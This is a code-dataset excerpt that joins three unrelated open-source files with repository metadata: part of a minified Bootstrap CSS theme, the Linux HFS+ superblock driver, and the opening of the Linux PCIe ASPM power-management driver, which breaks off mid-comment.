#282828}.tabs-below>.nav-tabs>li{margin-top:-1px;margin-bottom:0}.tabs-below>.nav-tabs>li>a{border-radius:0 0 4px 4px}.tabs-below>.nav-tabs>li>a:focus,.tabs-below>.nav-tabs>li>a:hover{border-top-color:#282828;border-bottom-color:transparent}.tabs-below>.nav-tabs>.active>a,.tabs-below>.nav-tabs>.active>a:focus,.tabs-below>.nav-tabs>.active>a:hover{border-color:transparent #282828 #282828}.tabs-left>.nav-tabs,.tabs-right>.nav-tabs{padding-bottom:20px;width:220px}.tabs-left>.nav-tabs>li,.tabs-right>.nav-tabs>li{float:none}.tabs-left>.nav-tabs>li>a,.tabs-right>.nav-tabs>li>a{margin-right:0;margin-bottom:3px}.form-group:last-child,.panel:last-child,.popover ol:last-child,.popover ul:last-child,p:last-child{margin-bottom:0}.tabs-left>.tab-content,.tabs-right>.tab-content{border-radius:0 4px 4px;border:1px solid #282828;-webkit-box-shadow:0 1px 1px rgba(0,0,0,.05);box-shadow:0 1px 1px rgba(0,0,0,.05);overflow:hidden;padding:10px 15px}.tabs-left>.nav-tabs{float:left;margin-right:-1px}.tabs-left>.nav-tabs>li>a{border-radius:4px 0 0 4px}.tabs-left>.nav-tabs>li>a:focus,.tabs-left>.nav-tabs>li>a:hover{border-color:transparent #282828 transparent transparent}.tabs-left>.nav-tabs>.active>a,.tabs-left>.nav-tabs>.active>a:focus,.tabs-left>.nav-tabs>.active>a:hover{border-color:#282828 transparent #282828 #282828;-webkit-box-shadow:-1px 1px 1px rgba(0,0,0,.05);box-shadow:-1px 1px 1px rgba(0,0,0,.05)}.tabs-right>.nav-tabs{float:right;margin-left:-1px}.tabs-right>.nav-tabs>li>a{border-radius:0 4px 4px 0}.tabs-right>.nav-tabs>li>a:focus,.tabs-right>.nav-tabs>li>a:hover{border-color:transparent transparent transparent #282828;-webkit-box-shadow:1px 1px 1px rgba(0,0,0,.05);box-shadow:1px 1px 1px rgba(0,0,0,.05)}.tabs-right>.nav-tabs>.active>a,.tabs-right>.nav-tabs>.active>a:focus,.tabs-right>.nav-tabs>.active>a:hover{border-color:#282828 #282828 #282828 transparent}body.toolbar-fixed .toolbar-oriented .toolbar-bar{z-index:1031}body.toolbar-fixed .navbar-fixed-top{top:39px}body.toolbar-fixed.toolbar-horizontal.toolbar-tray-open .navbar-fixed-top{top:79px}body.toolbar-fixed.toolbar-vertical.toolbar-tray-open .navbar-fixed-top{left:240px}body.toolbar-fixed.toolbar-vertical.toolbar-tray-open.toolbar-fixed{margin-left:240px}body.toolbar-fixed.toolbar-vertical.toolbar-tray-open.toolbar-fixed .toolbar-tray{padding-bottom:40px}body.toolbar-fixed.toolbar-vertical.toolbar-tray-open.toolbar-fixed .toolbar-tray,body.toolbar-fixed.toolbar-vertical.toolbar-tray-open.toolbar-fixed .toolbar-tray>.toolbar-lining:before{width:240px}.ui-autocomplete{background:#222;-webkit-background-clip:padding-box;background-clip:padding-box;border:1px solid #444;border:1px solid rgba(255,255,255,.1);border-radius:4px;-webkit-box-shadow:0 6px 12px rgba(0,0,0,.175);box-shadow:0 6px 12px rgba(0,0,0,.175);color:inherit;font-family:Roboto,"Helvetica Neue",Helvetica,Arial,sans-serif;font-size:14px;list-style:none;min-width:160px;padding:5px 0;text-align:left;z-index:1000}.ui-autocomplete .ui-menu-item{border:0;border-radius:0;clear:both;color:#fff;cursor:pointer;display:block;font-weight:400;line-height:1.42857143;margin:0;outline:0;padding:3px 20px;text-decoration:none;white-space:nowrap}.ui-autocomplete .ui-menu-item.ui-state-active,.ui-autocomplete .ui-menu-item.ui-state-focus,.ui-autocomplete .ui-menu-item.ui-state-hover{background:#2A9FD6;color:#fff}ol,ul{padding-left:1.5em}.page-header{margin-top:0}.footer{margin-top:45px;padding-top:35px;padding-bottom:36px;border-top:1px solid #E5E5E5}.region-help>.glyphicon{font-size:18px;float:left;margin:-.05em .5em 0 0}.control-group .help-inline,.help-block{color:#888;font-size:12px;margin:5px 0 10px;padding:0}.control-group .help-inline:first-child,.help-block:first-child{margin-top:0}
angrycactus/social-commerce
themes/contrib/bootstrap/css/3.3.4/overrides-cyborg.min.css
CSS
gpl-2.0
10,789
/* * linux/fs/hfsplus/super.c * * Copyright (C) 2001 * Brad Boyer (flar@allandria.com) * (C) 2003 Ardis Technologies <roman@ardistech.com> * */ #include <linux/module.h> #include <linux/init.h> #include <linux/pagemap.h> #include <linux/fs.h> #include <linux/slab.h> #include <linux/smp_lock.h> #include <linux/vfs.h> #include <linux/nls.h> static struct inode *hfsplus_alloc_inode(struct super_block *sb); static void hfsplus_destroy_inode(struct inode *inode); #include "hfsplus_fs.h" struct inode *hfsplus_iget(struct super_block *sb, unsigned long ino) { struct hfs_find_data fd; struct hfsplus_vh *vhdr; struct inode *inode; long err = -EIO; inode = iget_locked(sb, ino); if (!inode) return ERR_PTR(-ENOMEM); if (!(inode->i_state & I_NEW)) return inode; INIT_LIST_HEAD(&HFSPLUS_I(inode).open_dir_list); mutex_init(&HFSPLUS_I(inode).extents_lock); HFSPLUS_I(inode).flags = 0; HFSPLUS_I(inode).rsrc_inode = NULL; atomic_set(&HFSPLUS_I(inode).opencnt, 0); if (inode->i_ino >= HFSPLUS_FIRSTUSER_CNID) { read_inode: hfs_find_init(HFSPLUS_SB(inode->i_sb).cat_tree, &fd); err = hfsplus_find_cat(inode->i_sb, inode->i_ino, &fd); if (!err) err = hfsplus_cat_read_inode(inode, &fd); hfs_find_exit(&fd); if (err) goto bad_inode; goto done; } vhdr = HFSPLUS_SB(inode->i_sb).s_vhdr; switch(inode->i_ino) { case HFSPLUS_ROOT_CNID: goto read_inode; case HFSPLUS_EXT_CNID: hfsplus_inode_read_fork(inode, &vhdr->ext_file); inode->i_mapping->a_ops = &hfsplus_btree_aops; break; case HFSPLUS_CAT_CNID: hfsplus_inode_read_fork(inode, &vhdr->cat_file); inode->i_mapping->a_ops = &hfsplus_btree_aops; break; case HFSPLUS_ALLOC_CNID: hfsplus_inode_read_fork(inode, &vhdr->alloc_file); inode->i_mapping->a_ops = &hfsplus_aops; break; case HFSPLUS_START_CNID: hfsplus_inode_read_fork(inode, &vhdr->start_file); break; case HFSPLUS_ATTR_CNID: hfsplus_inode_read_fork(inode, &vhdr->attr_file); inode->i_mapping->a_ops = &hfsplus_btree_aops; break; default: goto bad_inode; } done: unlock_new_inode(inode); return inode; bad_inode: iget_failed(inode); return ERR_PTR(err); } static int hfsplus_write_inode(struct inode *inode, int unused) { struct hfsplus_vh *vhdr; int ret = 0; dprint(DBG_INODE, "hfsplus_write_inode: %lu\n", inode->i_ino); hfsplus_ext_write_extent(inode); if (inode->i_ino >= HFSPLUS_FIRSTUSER_CNID) { return hfsplus_cat_write_inode(inode); } vhdr = HFSPLUS_SB(inode->i_sb).s_vhdr; switch (inode->i_ino) { case HFSPLUS_ROOT_CNID: ret = hfsplus_cat_write_inode(inode); break; case HFSPLUS_EXT_CNID: if (vhdr->ext_file.total_size != cpu_to_be64(inode->i_size)) { HFSPLUS_SB(inode->i_sb).flags |= HFSPLUS_SB_WRITEBACKUP; inode->i_sb->s_dirt = 1; } hfsplus_inode_write_fork(inode, &vhdr->ext_file); hfs_btree_write(HFSPLUS_SB(inode->i_sb).ext_tree); break; case HFSPLUS_CAT_CNID: if (vhdr->cat_file.total_size != cpu_to_be64(inode->i_size)) { HFSPLUS_SB(inode->i_sb).flags |= HFSPLUS_SB_WRITEBACKUP; inode->i_sb->s_dirt = 1; } hfsplus_inode_write_fork(inode, &vhdr->cat_file); hfs_btree_write(HFSPLUS_SB(inode->i_sb).cat_tree); break; case HFSPLUS_ALLOC_CNID: if (vhdr->alloc_file.total_size != cpu_to_be64(inode->i_size)) { HFSPLUS_SB(inode->i_sb).flags |= HFSPLUS_SB_WRITEBACKUP; inode->i_sb->s_dirt = 1; } hfsplus_inode_write_fork(inode, &vhdr->alloc_file); break; case HFSPLUS_START_CNID: if (vhdr->start_file.total_size != cpu_to_be64(inode->i_size)) { HFSPLUS_SB(inode->i_sb).flags |= HFSPLUS_SB_WRITEBACKUP; inode->i_sb->s_dirt = 1; } hfsplus_inode_write_fork(inode, &vhdr->start_file); break; case HFSPLUS_ATTR_CNID: if (vhdr->attr_file.total_size != cpu_to_be64(inode->i_size)) { HFSPLUS_SB(inode->i_sb).flags |= HFSPLUS_SB_WRITEBACKUP; inode->i_sb->s_dirt = 1; } hfsplus_inode_write_fork(inode, &vhdr->attr_file); hfs_btree_write(HFSPLUS_SB(inode->i_sb).attr_tree); break; } return ret; } static void hfsplus_clear_inode(struct inode *inode) { dprint(DBG_INODE, "hfsplus_clear_inode: %lu\n", inode->i_ino); if (HFSPLUS_IS_RSRC(inode)) { HFSPLUS_I(HFSPLUS_I(inode).rsrc_inode).rsrc_inode = NULL; iput(HFSPLUS_I(inode).rsrc_inode); } } static int hfsplus_sync_fs(struct super_block *sb, int wait) { struct hfsplus_vh *vhdr = HFSPLUS_SB(sb).s_vhdr; dprint(DBG_SUPER, "hfsplus_write_super\n"); lock_super(sb); sb->s_dirt = 0; vhdr->free_blocks = cpu_to_be32(HFSPLUS_SB(sb).free_blocks); vhdr->next_alloc = cpu_to_be32(HFSPLUS_SB(sb).next_alloc); vhdr->next_cnid = cpu_to_be32(HFSPLUS_SB(sb).next_cnid); vhdr->folder_count = cpu_to_be32(HFSPLUS_SB(sb).folder_count); vhdr->file_count = cpu_to_be32(HFSPLUS_SB(sb).file_count); mark_buffer_dirty(HFSPLUS_SB(sb).s_vhbh); if (HFSPLUS_SB(sb).flags & HFSPLUS_SB_WRITEBACKUP) { if (HFSPLUS_SB(sb).sect_count) { struct buffer_head *bh; u32 block, offset; block = HFSPLUS_SB(sb).blockoffset; block += (HFSPLUS_SB(sb).sect_count - 2) >> (sb->s_blocksize_bits - 9); offset = ((HFSPLUS_SB(sb).sect_count - 2) << 9) & (sb->s_blocksize - 1); printk(KERN_DEBUG "hfs: backup: %u,%u,%u,%u\n", HFSPLUS_SB(sb).blockoffset, HFSPLUS_SB(sb).sect_count, block, offset); bh = sb_bread(sb, block); if (bh) { vhdr = (struct hfsplus_vh *)(bh->b_data + offset); if (be16_to_cpu(vhdr->signature) == HFSPLUS_VOLHEAD_SIG) { memcpy(vhdr, HFSPLUS_SB(sb).s_vhdr, sizeof(*vhdr)); mark_buffer_dirty(bh); brelse(bh); } else printk(KERN_WARNING "hfs: backup not found!\n"); } } HFSPLUS_SB(sb).flags &= ~HFSPLUS_SB_WRITEBACKUP; } unlock_super(sb); return 0; } static void hfsplus_write_super(struct super_block *sb) { if (!(sb->s_flags & MS_RDONLY)) hfsplus_sync_fs(sb, 1); else sb->s_dirt = 0; } static void hfsplus_put_super(struct super_block *sb) { dprint(DBG_SUPER, "hfsplus_put_super\n"); if (!sb->s_fs_info) return; lock_kernel(); if (sb->s_dirt) hfsplus_write_super(sb); if (!(sb->s_flags & MS_RDONLY) && HFSPLUS_SB(sb).s_vhdr) { struct hfsplus_vh *vhdr = HFSPLUS_SB(sb).s_vhdr; vhdr->modify_date = hfsp_now2mt(); vhdr->attributes |= cpu_to_be32(HFSPLUS_VOL_UNMNT); vhdr->attributes &= cpu_to_be32(~HFSPLUS_VOL_INCNSTNT); mark_buffer_dirty(HFSPLUS_SB(sb).s_vhbh); sync_dirty_buffer(HFSPLUS_SB(sb).s_vhbh); } hfs_btree_close(HFSPLUS_SB(sb).cat_tree); hfs_btree_close(HFSPLUS_SB(sb).ext_tree); iput(HFSPLUS_SB(sb).alloc_file); iput(HFSPLUS_SB(sb).hidden_dir); brelse(HFSPLUS_SB(sb).s_vhbh); unload_nls(HFSPLUS_SB(sb).nls); kfree(sb->s_fs_info); sb->s_fs_info = NULL; unlock_kernel(); } static int hfsplus_statfs(struct dentry *dentry, struct kstatfs *buf) { struct super_block *sb = dentry->d_sb; u64 id = huge_encode_dev(sb->s_bdev->bd_dev); buf->f_type = HFSPLUS_SUPER_MAGIC; buf->f_bsize = sb->s_blocksize; buf->f_blocks = HFSPLUS_SB(sb).total_blocks << HFSPLUS_SB(sb).fs_shift; buf->f_bfree = HFSPLUS_SB(sb).free_blocks << HFSPLUS_SB(sb).fs_shift; buf->f_bavail = buf->f_bfree; buf->f_files = 0xFFFFFFFF; buf->f_ffree = 0xFFFFFFFF - HFSPLUS_SB(sb).next_cnid; buf->f_fsid.val[0] = (u32)id; buf->f_fsid.val[1] = (u32)(id >> 32); buf->f_namelen = HFSPLUS_MAX_STRLEN; return 0; } static int hfsplus_remount(struct super_block *sb, int *flags, char *data) { if ((*flags & MS_RDONLY) == (sb->s_flags & MS_RDONLY)) return 0; if (!(*flags & MS_RDONLY)) { struct hfsplus_vh *vhdr = HFSPLUS_SB(sb).s_vhdr; struct hfsplus_sb_info sbi; memset(&sbi, 0, sizeof(struct hfsplus_sb_info)); sbi.nls = HFSPLUS_SB(sb).nls; if (!hfsplus_parse_options(data, &sbi)) return -EINVAL; if (!(vhdr->attributes & cpu_to_be32(HFSPLUS_VOL_UNMNT))) { printk(KERN_WARNING "hfs: filesystem was not cleanly unmounted, " "running fsck.hfsplus is recommended. leaving read-only.\n"); sb->s_flags |= MS_RDONLY; *flags |= MS_RDONLY; } else if (sbi.flags & HFSPLUS_SB_FORCE) { /* nothing */ } else if (vhdr->attributes & cpu_to_be32(HFSPLUS_VOL_SOFTLOCK)) { printk(KERN_WARNING "hfs: filesystem is marked locked, leaving read-only.\n"); sb->s_flags |= MS_RDONLY; *flags |= MS_RDONLY; } else if (vhdr->attributes & cpu_to_be32(HFSPLUS_VOL_JOURNALED)) { printk(KERN_WARNING "hfs: filesystem is marked journaled, leaving read-only.\n"); sb->s_flags |= MS_RDONLY; *flags |= MS_RDONLY; } } return 0; } static const struct super_operations hfsplus_sops = { .alloc_inode = hfsplus_alloc_inode, .destroy_inode = hfsplus_destroy_inode, .write_inode = hfsplus_write_inode, .clear_inode = hfsplus_clear_inode, .put_super = hfsplus_put_super, .write_super = hfsplus_write_super, .sync_fs = hfsplus_sync_fs, .statfs = hfsplus_statfs, .remount_fs = hfsplus_remount, .show_options = hfsplus_show_options, }; static int hfsplus_fill_super(struct super_block *sb, void *data, int silent) { struct hfsplus_vh *vhdr; struct hfsplus_sb_info *sbi; hfsplus_cat_entry entry; struct hfs_find_data fd; struct inode *root, *inode; struct qstr str; struct nls_table *nls = NULL; int err = -EINVAL; sbi = kzalloc(sizeof(*sbi), GFP_KERNEL); if (!sbi) return -ENOMEM; sb->s_fs_info = sbi; INIT_HLIST_HEAD(&sbi->rsrc_inodes); hfsplus_fill_defaults(sbi); if (!hfsplus_parse_options(data, sbi)) { printk(KERN_ERR "hfs: unable to parse mount options\n"); err = -EINVAL; goto cleanup; } /* temporarily use utf8 to correctly find the hidden dir below */ nls = sbi->nls; sbi->nls = load_nls("utf8"); if (!sbi->nls) { printk(KERN_ERR "hfs: unable to load nls for utf8\n"); err = -EINVAL; goto cleanup; } /* Grab the volume header */ if (hfsplus_read_wrapper(sb)) { if (!silent) printk(KERN_WARNING "hfs: unable to find HFS+ superblock\n"); err = -EINVAL; goto cleanup; } vhdr = HFSPLUS_SB(sb).s_vhdr; /* Copy parts of the volume header into the superblock */ sb->s_magic = HFSPLUS_VOLHEAD_SIG; if (be16_to_cpu(vhdr->version) < HFSPLUS_MIN_VERSION || be16_to_cpu(vhdr->version) > HFSPLUS_CURRENT_VERSION) { printk(KERN_ERR "hfs: wrong filesystem version\n"); goto cleanup; } HFSPLUS_SB(sb).total_blocks = be32_to_cpu(vhdr->total_blocks); HFSPLUS_SB(sb).free_blocks = be32_to_cpu(vhdr->free_blocks); HFSPLUS_SB(sb).next_alloc = be32_to_cpu(vhdr->next_alloc); HFSPLUS_SB(sb).next_cnid = be32_to_cpu(vhdr->next_cnid); HFSPLUS_SB(sb).file_count = be32_to_cpu(vhdr->file_count); HFSPLUS_SB(sb).folder_count = be32_to_cpu(vhdr->folder_count); HFSPLUS_SB(sb).data_clump_blocks = be32_to_cpu(vhdr->data_clump_sz) >> HFSPLUS_SB(sb).alloc_blksz_shift; if (!HFSPLUS_SB(sb).data_clump_blocks) HFSPLUS_SB(sb).data_clump_blocks = 1; HFSPLUS_SB(sb).rsrc_clump_blocks = be32_to_cpu(vhdr->rsrc_clump_sz) >> HFSPLUS_SB(sb).alloc_blksz_shift; if (!HFSPLUS_SB(sb).rsrc_clump_blocks) HFSPLUS_SB(sb).rsrc_clump_blocks = 1; /* Set up operations so we can load metadata */ sb->s_op = &hfsplus_sops; sb->s_maxbytes = MAX_LFS_FILESIZE; if (!(vhdr->attributes & cpu_to_be32(HFSPLUS_VOL_UNMNT))) { printk(KERN_WARNING "hfs: Filesystem was not cleanly unmounted, " "running fsck.hfsplus is recommended. mounting read-only.\n"); sb->s_flags |= MS_RDONLY; } else if (sbi->flags & HFSPLUS_SB_FORCE) { /* nothing */ } else if (vhdr->attributes & cpu_to_be32(HFSPLUS_VOL_SOFTLOCK)) { printk(KERN_WARNING "hfs: Filesystem is marked locked, mounting read-only.\n"); sb->s_flags |= MS_RDONLY; } else if ((vhdr->attributes & cpu_to_be32(HFSPLUS_VOL_JOURNALED)) && !(sb->s_flags & MS_RDONLY)) { printk(KERN_WARNING "hfs: write access to a journaled filesystem is not supported, " "use the force option at your own risk, mounting read-only.\n"); sb->s_flags |= MS_RDONLY; } sbi->flags &= ~HFSPLUS_SB_FORCE; /* Load metadata objects (B*Trees) */ HFSPLUS_SB(sb).ext_tree = hfs_btree_open(sb, HFSPLUS_EXT_CNID); if (!HFSPLUS_SB(sb).ext_tree) { printk(KERN_ERR "hfs: failed to load extents file\n"); goto cleanup; } HFSPLUS_SB(sb).cat_tree = hfs_btree_open(sb, HFSPLUS_CAT_CNID); if (!HFSPLUS_SB(sb).cat_tree) { printk(KERN_ERR "hfs: failed to load catalog file\n"); goto cleanup; } inode = hfsplus_iget(sb, HFSPLUS_ALLOC_CNID); if (IS_ERR(inode)) { printk(KERN_ERR "hfs: failed to load allocation file\n"); err = PTR_ERR(inode); goto cleanup; } HFSPLUS_SB(sb).alloc_file = inode; /* Load the root directory */ root = hfsplus_iget(sb, HFSPLUS_ROOT_CNID); if (IS_ERR(root)) { printk(KERN_ERR "hfs: failed to load root directory\n"); err = PTR_ERR(root); goto cleanup; } sb->s_root = d_alloc_root(root); if (!sb->s_root) { iput(root); err = -ENOMEM; goto cleanup; } sb->s_root->d_op = &hfsplus_dentry_operations; str.len = sizeof(HFSP_HIDDENDIR_NAME) - 1; str.name = HFSP_HIDDENDIR_NAME; hfs_find_init(HFSPLUS_SB(sb).cat_tree, &fd); hfsplus_cat_build_key(sb, fd.search_key, HFSPLUS_ROOT_CNID, &str); if (!hfs_brec_read(&fd, &entry, sizeof(entry))) { hfs_find_exit(&fd); if (entry.type != cpu_to_be16(HFSPLUS_FOLDER)) goto cleanup; inode = hfsplus_iget(sb, be32_to_cpu(entry.folder.id)); if (IS_ERR(inode)) { err = PTR_ERR(inode); goto cleanup; } HFSPLUS_SB(sb).hidden_dir = inode; } else hfs_find_exit(&fd); if (sb->s_flags & MS_RDONLY) goto out; /* H+LX == hfsplusutils, H+Lx == this driver, H+lx is unused * all three are registered with Apple for our use */ vhdr->last_mount_vers = cpu_to_be32(HFSP_MOUNT_VERSION); vhdr->modify_date = hfsp_now2mt(); be32_add_cpu(&vhdr->write_count, 1); vhdr->attributes &= cpu_to_be32(~HFSPLUS_VOL_UNMNT); vhdr->attributes |= cpu_to_be32(HFSPLUS_VOL_INCNSTNT); mark_buffer_dirty(HFSPLUS_SB(sb).s_vhbh); sync_dirty_buffer(HFSPLUS_SB(sb).s_vhbh); if (!HFSPLUS_SB(sb).hidden_dir) { printk(KERN_DEBUG "hfs: create hidden dir...\n"); HFSPLUS_SB(sb).hidden_dir = hfsplus_new_inode(sb, S_IFDIR); hfsplus_create_cat(HFSPLUS_SB(sb).hidden_dir->i_ino, sb->s_root->d_inode, &str, HFSPLUS_SB(sb).hidden_dir); mark_inode_dirty(HFSPLUS_SB(sb).hidden_dir); } out: unload_nls(sbi->nls); sbi->nls = nls; return 0; cleanup: hfsplus_put_super(sb); unload_nls(nls); return err; } MODULE_AUTHOR("Brad Boyer"); MODULE_DESCRIPTION("Extended Macintosh Filesystem"); MODULE_LICENSE("GPL"); static struct kmem_cache *hfsplus_inode_cachep; static struct inode *hfsplus_alloc_inode(struct super_block *sb) { struct hfsplus_inode_info *i; i = kmem_cache_alloc(hfsplus_inode_cachep, GFP_KERNEL); return i ? &i->vfs_inode : NULL; } static void hfsplus_destroy_inode(struct inode *inode) { kmem_cache_free(hfsplus_inode_cachep, &HFSPLUS_I(inode)); } #define HFSPLUS_INODE_SIZE sizeof(struct hfsplus_inode_info) static int hfsplus_get_sb(struct file_system_type *fs_type, int flags, const char *dev_name, void *data, struct vfsmount *mnt) { return get_sb_bdev(fs_type, flags, dev_name, data, hfsplus_fill_super, mnt); } static struct file_system_type hfsplus_fs_type = { .owner = THIS_MODULE, .name = "hfsplus", .get_sb = hfsplus_get_sb, .kill_sb = kill_block_super, .fs_flags = FS_REQUIRES_DEV, }; static void hfsplus_init_once(void *p) { struct hfsplus_inode_info *i = p; inode_init_once(&i->vfs_inode); } static int __init init_hfsplus_fs(void) { int err; hfsplus_inode_cachep = kmem_cache_create("hfsplus_icache", HFSPLUS_INODE_SIZE, 0, SLAB_HWCACHE_ALIGN, hfsplus_init_once); if (!hfsplus_inode_cachep) return -ENOMEM; err = register_filesystem(&hfsplus_fs_type); if (err) kmem_cache_destroy(hfsplus_inode_cachep); return err; } static void __exit exit_hfsplus_fs(void) { unregister_filesystem(&hfsplus_fs_type); kmem_cache_destroy(hfsplus_inode_cachep); } module_init(init_hfsplus_fs) module_exit(exit_hfsplus_fs)
qnhoang81/Moment_kernel
fs/hfsplus/super.c
C
gpl-2.0
15,764
/* * File: drivers/pci/pcie/aspm.c * Enabling PCIe link L0s/L1 state and Clock Power Management * * Copyright (C) 2007 Intel * Copyright (C) Zhang Yanmin (yanmin.zhang@intel.com) * Copyright (C) Shaohua Li (shaohua.li@intel.com) */ #include <linux/kernel.h> #include <linux/module.h> #include <linux/moduleparam.h> #include <linux/pci.h> #include <linux/pci_regs.h> #include <linux/errno.h> #include <linux/pm.h> #include <linux/init.h> #include <linux/slab.h> #include <linux/jiffies.h> #include <linux/delay.h> #include <linux/pci-aspm.h> #include "../pci.h" #ifdef MODULE_PARAM_PREFIX #undef MODULE_PARAM_PREFIX #endif #define MODULE_PARAM_PREFIX "pcie_aspm." /* Note: those are not register definitions */ #define ASPM_STATE_L0S_UP (1) /* Upstream direction L0s state */ #define ASPM_STATE_L0S_DW (2) /* Downstream direction L0s state */ #define ASPM_STATE_L1 (4) /* L1 state */ #define ASPM_STATE_L0S (ASPM_STATE_L0S_UP | ASPM_STATE_L0S_DW) #define ASPM_STATE_ALL (ASPM_STATE_L0S | ASPM_STATE_L1) struct aspm_latency { u32 l0s; /* L0s latency (nsec) */ u32 l1; /* L1 latency (nsec) */ }; struct pcie_link_state { struct pci_dev *pdev; /* Upstream component of the Link */ struct pcie_link_state *root; /* pointer to the root port link */ struct pcie_link_state *parent; /* pointer to the parent Link state */ struct list_head sibling; /* node in link_list */ struct list_head children; /* list of child link states */ struct list_head link; /* node in parent's children list */ /* ASPM state */ u32 aspm_support:3; /* Supported ASPM state */ u32 aspm_enabled:3; /* Enabled ASPM state */ u32 aspm_capable:3; /* Capable ASPM state with latency */ u32 aspm_default:3; /* Default ASPM state by BIOS */ u32 aspm_disable:3; /* Disabled ASPM state */ /* Clock PM state */ u32 clkpm_capable:1; /* Clock PM capable? */ u32 clkpm_enabled:1; /* Current Clock PM state */ u32 clkpm_default:1; /* Default Clock PM state by BIOS */ /* Exit latencies */ struct aspm_latency latency_up; /* Upstream direction exit latency */ struct aspm_latency latency_dw; /* Downstream direction exit latency */ /* * Endpoint acceptable latencies. A pcie downstream port only * has one slot under it, so at most there are 8 functions. */ struct aspm_latency acceptable[8]; }; static int aspm_disabled, aspm_force; static bool aspm_support_enabled = true; static DEFINE_MUTEX(aspm_lock); static LIST_HEAD(link_list); #define POLICY_DEFAULT 0 /* BIOS default setting */ #define POLICY_PERFORMANCE 1 /* high performance */ #define POLICY_POWERSAVE 2 /* high power saving */ #ifdef CONFIG_PCIEASPM_PERFORMANCE static int aspm_policy = POLICY_PERFORMANCE; #elif defined CONFIG_PCIEASPM_POWERSAVE static int aspm_policy = POLICY_POWERSAVE; #else static int aspm_policy; #endif static const char *policy_str[] = { [POLICY_DEFAULT] = "default", [POLICY_PERFORMANCE] = "performance", [POLICY_POWERSAVE] = "powersave" }; #define LINK_RETRAIN_TIMEOUT HZ static int policy_to_aspm_state(struct pcie_link_state *link) { switch (aspm_policy) { case POLICY_PERFORMANCE: /* Disable ASPM and Clock PM */ return 0; case POLICY_POWERSAVE: /* Enable ASPM L0s/L1 */ return ASPM_STATE_ALL; case POLICY_DEFAULT: return link->aspm_default; } return 0; } static int policy_to_clkpm_state(struct pcie_link_state *link) { switch (aspm_policy) { case POLICY_PERFORMANCE: /* Disable ASPM and Clock PM */ return 0; case POLICY_POWERSAVE: /* Disable Clock PM */ return 1; case POLICY_DEFAULT: return link->clkpm_default; } return 0; } static void pcie_set_clkpm_nocheck(struct pcie_link_state *link, int enable) { int pos; u16 reg16; struct pci_dev *child; struct pci_bus *linkbus = link->pdev->subordinate; list_for_each_entry(child, &linkbus->devices, bus_list) { pos = pci_pcie_cap(child); if (!pos) return; pci_read_config_word(child, pos + PCI_EXP_LNKCTL, &reg16); if (enable) reg16 |= PCI_EXP_LNKCTL_CLKREQ_EN; else reg16 &= ~PCI_EXP_LNKCTL_CLKREQ_EN; pci_write_config_word(child, pos + PCI_EXP_LNKCTL, reg16); } link->clkpm_enabled = !!enable; } static void pcie_set_clkpm(struct pcie_link_state *link, int enable) { /* Don't enable Clock PM if the link is not Clock PM capable */ if (!link->clkpm_capable && enable) enable = 0; /* Need nothing if the specified equals to current state */ if (link->clkpm_enabled == enable) return; pcie_set_clkpm_nocheck(link, enable); } static void pcie_clkpm_cap_init(struct pcie_link_state *link, int blacklist) { int pos, capable = 1, enabled = 1; u32 reg32; u16 reg16; struct pci_dev *child; struct pci_bus *linkbus = link->pdev->subordinate; /* All functions should have the same cap and state, take the worst */ list_for_each_entry(child, &linkbus->devices, bus_list) { pos = pci_pcie_cap(child); if (!pos) return; pci_read_config_dword(child, pos + PCI_EXP_LNKCAP, &reg32); if (!(reg32 & PCI_EXP_LNKCAP_CLKPM)) { capable = 0; enabled = 0; break; } pci_read_config_word(child, pos + PCI_EXP_LNKCTL, &reg16); if (!(reg16 & PCI_EXP_LNKCTL_CLKREQ_EN)) enabled = 0; } link->clkpm_enabled = enabled; link->clkpm_default = enabled; link->clkpm_capable = (blacklist) ? 0 : capable; } /* * pcie_aspm_configure_common_clock: check if the 2 ends of a link * could use common clock. If they are, configure them to use the * common clock. That will reduce the ASPM state exit latency. */ static void pcie_aspm_configure_common_clock(struct pcie_link_state *link) { int ppos, cpos, same_clock = 1; u16 reg16, parent_reg, child_reg[8]; unsigned long start_jiffies; struct pci_dev *child, *parent = link->pdev; struct pci_bus *linkbus = parent->subordinate; /* * All functions of a slot should have the same Slot Clock * Configuration, so just check one function */ child = list_entry(linkbus->devices.next, struct pci_dev, bus_list); BUG_ON(!pci_is_pcie(child)); /* Check downstream component if bit Slot Clock Configuration is 1 */ cpos = pci_pcie_cap(child); pci_read_config_word(child, cpos + PCI_EXP_LNKSTA, &reg16); if (!(reg16 & PCI_EXP_LNKSTA_SLC)) same_clock = 0; /* Check upstream component if bit Slot Clock Configuration is 1 */ ppos = pci_pcie_cap(parent); pci_read_config_word(parent, ppos + PCI_EXP_LNKSTA, &reg16); if (!(reg16 & PCI_EXP_LNKSTA_SLC)) same_clock = 0; /* Configure downstream component, all functions */ list_for_each_entry(child, &linkbus->devices, bus_list) { cpos = pci_pcie_cap(child); pci_read_config_word(child, cpos + PCI_EXP_LNKCTL, &reg16); child_reg[PCI_FUNC(child->devfn)] = reg16; if (same_clock) reg16 |= PCI_EXP_LNKCTL_CCC; else reg16 &= ~PCI_EXP_LNKCTL_CCC; pci_write_config_word(child, cpos + PCI_EXP_LNKCTL, reg16); } /* Configure upstream component */ pci_read_config_word(parent, ppos + PCI_EXP_LNKCTL, &reg16); parent_reg = reg16; if (same_clock) reg16 |= PCI_EXP_LNKCTL_CCC; else reg16 &= ~PCI_EXP_LNKCTL_CCC; pci_write_config_word(parent, ppos + PCI_EXP_LNKCTL, reg16); /* Retrain link */ reg16 |= PCI_EXP_LNKCTL_RL; pci_write_config_word(parent, ppos + PCI_EXP_LNKCTL, reg16); /* Wait for link training end. Break out after waiting for timeout */ start_jiffies = jiffies; for (;;) { pci_read_config_word(parent, ppos + PCI_EXP_LNKSTA, &reg16); if (!(reg16 & PCI_EXP_LNKSTA_LT)) break; if (time_after(jiffies, start_jiffies + LINK_RETRAIN_TIMEOUT)) break; msleep(1); } if (!(reg16 & PCI_EXP_LNKSTA_LT)) return; /* Training failed. Restore common clock configurations */ dev_printk(KERN_ERR, &parent->dev, "ASPM: Could not configure common clock\n"); list_for_each_entry(child, &linkbus->devices, bus_list) { cpos = pci_pcie_cap(child); pci_write_config_word(child, cpos + PCI_EXP_LNKCTL, child_reg[PCI_FUNC(child->devfn)]); } pci_write_config_word(parent, ppos + PCI_EXP_LNKCTL, parent_reg); } /* Convert L0s latency encoding to ns */ static u32 calc_l0s_latency(u32 encoding) { if (encoding == 0x7) return (5 * 1000); /* > 4us */ return (64 << encoding); } /* Convert L0s acceptable latency encoding to ns */ static u32 calc_l0s_acceptable(u32 encoding) { if (encoding == 0x7) return -1U; return (64 << encoding); } /* Convert L1 latency encoding to 